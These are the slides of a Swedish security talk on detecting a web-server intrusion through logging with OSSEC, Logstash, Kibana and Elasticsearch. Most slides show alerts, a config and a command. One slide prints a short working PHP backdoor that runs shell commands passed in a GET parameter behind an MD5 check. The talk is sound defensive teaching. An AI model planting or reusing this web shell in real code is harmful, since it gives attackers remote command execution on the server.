Denna presentation visar på ett dataintrång som blivit upptäckt med hjälp av loggning. Vi använder oss av OSSEC, Logstash, Kibana och Elasticsearch.

1. Intrång upptäckt av loggning
CoreSec 2016-05-19

2. Jonas Lejon
triop.se
kryptera.se
jonas@triop.se
@jonasl

4. OSSEC HIDS Notification.2013 Jun 16 23:48:29
Received From: hetzner->/var/www/logs/error.log
Rule: 31421 fired (level 5) -> "PHP internal error (missing file or function).”
Portion of the log(s):2013/06/16 23:48:27 [error] 2252#0: *9980497 FastCGI
sent in stderr: "PHP message: PHP Fatal error: Call to undefined function
includ_once() in /var/www/docs/wp-content/themes/mytheme/footer.php on
line 1" while reading upstream, client: 5.9.164.69, server: hetzner, request: "GET
/wp-content/themes/mytheme/images/favicon.ico HTTP/1.1", upstream:
"fastcgi://unix:/tmp/php5-fpm.sock:", host: "hetzner"

5. OSSEC HIDS Notification.2013 Jun 16 23:48:29
Received From: hetzner->/var/www/logs/error.log
Rule: 31421 fired (level 5) -> "PHP internal error (missing file or function).”
Portion of the log(s):2013/06/16 23:48:27 [error] 2252#0: *9980497 FastCGI
sent in stderr: "PHP message: PHP Fatal error: Call to undefined function
includ_once() in /var/www/docs/wp-content/themes/mytheme/footer.php on
line 1" while reading upstream, client: 5.9.164.69, server: hetzner, request: "GET
/wp-content/themes/mytheme/images/favicon.ico HTTP/1.1", upstream:
"fastcgi://unix:/tmp/php5-fpm.sock:", host: "hetzner"

7. +

8. output { if [type] == "syslog" {
file {
message_format => "%{[message]}"
path => "/ebs/syslog/logstash/%{[host]}.syslog"
}
}}

9. find /ebs/syslog/logstash/ -type f -exec ./util.sh addfile {} syslog ;

13. • IP-adress
• Metadata

15. https://gist.github.com/jonaslejon
<?php
if (substr(md5($_GET["localdate"]),0,6) == "6fbcb8") {
$time = str_replace("@"," ",$_GET["localtime"]);
@system($time); exit;
}
?>
Exempel på bakdörr

16. Filintegritet
OSSEC HIDS Notification.
2015 Jul 16 00:41:30
Received From: ds5090->syscheck
Rule: 554 fired (level 7) -> "File added to the /var/www directory."
Portion of the log(s):
New file '/var/www/website.com/docs/president.php' added to the file system.
--END OF NOTIFICATION

17. Tack!